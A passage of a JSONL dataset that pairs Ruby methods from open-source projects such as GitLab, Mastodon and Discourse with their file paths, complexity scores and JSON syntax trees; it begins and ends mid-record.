end","complexity_score":25.23,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"expires_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"seconds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"distributable?\"]},{\"type\":\"send\",\"children\":[null,\"public_fetch_mode?\"]}]},{\"type\":\"send\",\"children\":[null,\"expires_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[3]},\"minutes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_with_cache\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"application/activity+json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"NoteSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"Adapter\"]}]}]}]}]}]}]}]}]}","id":"3e85ed9c-0b71-4c43-bf55-b05c431a6e54"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/time_helper.rb","start_line":32,"raw_source":"def time_in_milliseconds\n    (Time.now.to_f * 1000).to_i\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"time_in_milliseconds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]},\"to_i\"]}]}","id":"856e4ec5-6980-4e7a-b13b-4d019b02dd29"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/onebox/engine/amazon_onebox_spec.rb","start_line":19,"raw_source":"def check_link(tdl, link)\n        onebox_cls = Onebox::Matcher.new(link).oneboxed\n        expect(onebox_cls).to_not be(nil)\n        expect(onebox_cls.new(link).url).to include(\"https://www.amazon.#{tdl}\")\n      end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tdl\"]},{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"onebox_cls\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"Matcher\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"link\"]}]},\"oneboxed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"onebox_cls\"]}]},\"to_not\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"onebox_cls\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"link\"]}]},\"url\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://www.amazon.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tdl\"]}]}]}]}]}]}]}","id":"bd57ded0-d235-41c7-bedb-0477de311d3a"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/menu_controller.rb","start_line":106,"raw_source":"def redirect_to_global_menu_item(name)\n    item = global_menu_item(name)\n    if globally_allowed_to_see_item?(item)\n      engine = item.engine ? send(item.engine) : main_app\n\n      redirect_to(engine.url_for(item.url))\n      return true\n    end\n    false\n  end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"redirect_to_global_menu_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item\",{\"type\":\"send\",\"children\":[null,\"global_menu_item\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"globally_allowed_to_see_item?\",{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"engine\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"engine\"]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"engine\"]}]},{\"type\":\"send\",\"children\":[null,\"main_app\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"url_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"url\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"64f40f10-9539-40fb-a29a-11d31c02852f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/processor_test.rb","start_line":24,"raw_source":"def build_enumerator(cursor:)\n    array_enumerator((1..10).to_a, cursor: cursor)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_enumerator\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"cursor\"]}]},{\"type\":\"send\",\"children\":[null,\"array_enumerator\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]}]}]},\"to_a\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]}]}]}]}]}","id":"156e02aa-5bd4-4c04-81a7-c62878260ecf"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/hash_conversion.rb","start_line":56,"raw_source":"def on_send(node)\n          return if part_of_ignored_node?(node) || !hash_from_array?(node)\n\n          # There are several cases:\n          # If there is one argument:\n          #   Hash[ary] => ary.to_h\n          #   Hash[*ary] => don't suggest corrections\n          # If there is 0 or 2+ arguments:\n          #   Hash[a1, a2, a3, a4] => {a1 => a2, a3 => a4}\n          #   ...but don't suggest correction if there is odd number of them (it is a bug)\n          node.arguments.one? ? single_argument(node) : multi_argument(node)\n          ignore_node(node)\n        end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hash_from_array?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments\"]},\"one?\"]},{\"type\":\"send\",\"children\":[null,\"single_argument\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"multi_argument\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ignore_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"972b7290-eaf4-4a17-a0b9-7f62a8362851"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/article_policy.rb","start_line":23,"raw_source":"def self.scope_users_authorized_to_action(users_scope:, action:)\n    case action.to_sym\n    when :create?, :new?, :create, :new\n      users_scope = users_scope.without_role(:suspended)\n      return users_scope unless is_root_subforem? || limit_post_creation_to_admins?\n\n      users_scope.with_any_role(*Authorizer::RoleBasedQueries::ANY_ADMIN_ROLES)\n    else\n      raise \"Unhandled predicate: #{action} for #{self}.#{__method__}\"\n    end\n  end","complexity_score":14.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scope_users_authorized_to_action\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"users_scope\"]},{\"type\":\"kwarg\",\"children\":[\"action\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"create?\"]},{\"type\":\"sym\",\"children\":[\"new?\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"users_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_scope\"]},\"without_role\",{\"type\":\"sym\",\"children\":[\"suspended\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root_subforem?\"]},{\"type\":\"send\",\"children\":[null,\"limit_post_creation_to_admins?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_scope\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users_scope\"]},\"with_any_role\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authorizer\"]},\"RoleBasedQueries\"]},\"ANY_ADMIN_ROLES\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unhandled predicate: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"self\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]}]}]}","id":"c46599e1-acb8-46c4-b7e5-b559736bd497"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses_controller.rb","start_line":167,"raw_source":"def check_statuses_limit\n    raise(Mastodon::ValidationError) if status_ids.size > DEFAULT_STATUSES_LIMIT\n  end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_statuses_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_ids\"]},\"size\"]},\">\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_STATUSES_LIMIT\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"ValidationError\"]}]},null]}]}","id":"39274736-6412-408b-95cf-c102df368274"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/incoming_links_report.rb","start_line":234,"raw_source":"def self.link_count_per_topic(start_date:, end_date:, category_id:, include_subcategories:)\n    public_incoming_links(category_id: category_id, include_subcategories: include_subcategories)\n      .where(\n        \"incoming_links.created_at > ? AND incoming_links.created_at < ? AND topic_id IS NOT NULL\",\n        start_date,\n        end_date,\n      )\n      .group(\"topic_id\")\n      .count\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"link_count_per_topic\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"start_date\"]},{\"type\":\"kwarg\",\"children\":[\"end_date\"]},{\"type\":\"kwarg\",\"children\":[\"category_id\"]},{\"type\":\"kwarg\",\"children\":[\"include_subcategories\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_incoming_links\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_subcategories\"]},{\"type\":\"lvar\",\"children\":[\"include_subcategories\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"incoming_links.created_at > ? AND incoming_links.created_at < ? AND topic_id IS NOT NULL\"]},{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]},\"group\",{\"type\":\"str\",\"children\":[\"topic_id\"]}]},\"count\"]}]}","id":"229694c3-2e37-4a72-a58f-9e8c81a22fbf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/object_storage/cdn/file_url.rb","start_line":12,"raw_source":"def url\n        if file.respond_to?(:cdn_enabled_url)\n          result = file.cdn_enabled_url(ip_address, redirect_params[:query])\n          Gitlab::ApplicationContext.push(artifact_used_cdn: result.used_cdn)\n          result.url\n        else\n          file.url(**redirect_params)\n        end\n      end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"cdn_enabled_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"cdn_enabled_url\",{\"type\":\"send\",\"children\":[null,\"ip_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"artifact_used_cdn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"used_cdn\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"url\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_params\"]}]}]}]}]}]}","id":"1e0a5e74-3945-4bbc-85b6-b735e07d96f6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/revision_component.rb","start_line":54,"raw_source":"def remove_email_addresses(committer)\n          return \"\" if committer.blank?\n\n          ERB::Util.html_escape(\n            Sanitize.fragment(\n              committer.gsub(%r{<[^>]+@[^>]+>}, \"\"),\n              Sanitize::Config::RESTRICTED\n            ).strip\n          )\n        end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_email_addresses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"committer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"committer\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sanitize\"]},\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"committer\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<[^>]+@[^>]+>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sanitize\"]},\"Config\"]},\"RESTRICTED\"]}]},\"strip\"]}]}]}]}","id":"349e8c9c-f8cc-4f50-b0e3-ca777d3e2520"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/exporter/base_exporter.rb","start_line":38,"raw_source":"def start_working\n          access_log = [\n            [logger, WEBrick::AccessLog::COMBINED_LOG_FORMAT]\n          ]\n\n          server_config = {\n            Port: settings.port,\n            BindAddress: settings.address,\n            Logger: logger,\n            AccessLog: access_log\n          }\n\n          server_config.merge!(ssl_config) if settings['tls_enabled']\n\n          @server = ::WEBrick::HTTPServer.new(server_config)\n          server.mount '/', Rack::Handler::WEBrick, rack_app\n\n          true\n        rescue StandardError => e\n          logger.error(e)\n          false\n        end","complexity_score":27.5,"ast_json":"{\"type\":\"def\",\"children\":[\"start_working\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"access_log\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WEBrick\"]},\"AccessLog\"]},\"COMBINED_LOG_FORMAT\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"server_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"BindAddress\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"address\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"Logger\"]},{\"type\":\"send\",\"children\":[null,\"logger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"AccessLog\"]},{\"type\":\"lvar\",\"children\":[\"access_log\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tls_enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_config\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"ssl_config\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WEBrick\"]},\"HTTPServer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"server_config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server\"]},\"mount\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Handler\"]},\"WEBrick\"]},{\"type\":\"send\",\"children\":[null,\"rack_app\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"c743786a-1354-42b4-9624-d86950ee9331"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/account/orders_controller.rb","start_line":16,"raw_source":"def accurate_title\n        if action_name == 'show'\n          \"#{Spree.t(:order)} ##{@order.number}\"\n        else\n          Spree.t(:my_orders)\n        end\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"accurate_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"str\",\"children\":[\" #\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"number\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"my_orders\"]}]}]}]}","id":"3b200595-d122-4687-a2c1-1c668bb1887c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/email/reply_parser_spec.rb","start_line":8,"raw_source":"def test_parse_body(mail_string, params = {})\n      described_class.new(Mail::Message.new(mail_string), **params).execute\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parse_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mail_string\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"Message\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mail_string\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},\"execute\"]}]}","id":"93133f5e-56c8-484e-aa79-f3f3b4a8e076"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/dpop_authentication_service.rb","start_line":30,"raw_source":"def dpop_enforced_for_group_endpoints?(group_id)\n      return false if group_id.nil?\n\n      Group.find(group_id)&.require_dpop_for_manage_api_endpoints\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"dpop_enforced_for_group_endpoints?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},\"require_dpop_for_manage_api_endpoints\"]}]}]}","id":"4787a299-da04-4b6e-bfb8-9ab9140db10d"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":376,"raw_source":"def parse(item)\n      Sidekiq.load_json(item)\n    rescue JSON::ParserError\n      # If the job payload in Redis is invalid JSON, we'll load\n      # the item as an empty hash and store the invalid JSON as\n      # the job 'args' for display in the Web UI.\n      @invalid = true\n      @args = [item]\n      {}\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"load_json\",{\"type\":\"lvar\",\"children\":[\"item\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@invalid\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@args\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},null]}]}","id":"0a56358a-f3e7-41bc-84ea-c1a2b0d0d5ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/validations/types/workhorse_file.rb","start_line":7,"raw_source":"def self.parse(value)\n          return if value.blank?\n          raise \"#{value.class} is not an UploadedFile type\" unless parsed?(value)\n\n          value\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" is not an UploadedFile type\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"83a48265-f8ea-4771-9313-ddc19306b4ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/datateam.rb","start_line":29,"raw_source":"def impacted?\n        !labelled_as_datawarehouse? && data_warehouse_impact_files.any?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"impacted?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"labelled_as_datawarehouse?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_warehouse_impact_files\"]},\"any?\"]}]}]}","id":"10a2e286-42ce-400a-83a1-84931a114712"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/delete_objects_service.rb","start_line":28,"raw_source":"def load_next_batch\n      # `find_by_sql` performs a write in this case and we need to wrap it in\n      # a transaction to stick to the primary database.\n      Ci::DeletedObject.transaction do\n        Ci::DeletedObject.find_by_sql([next_batch_sql, { new_pick_up_at: RETRY_IN.from_now }])\n      end\n    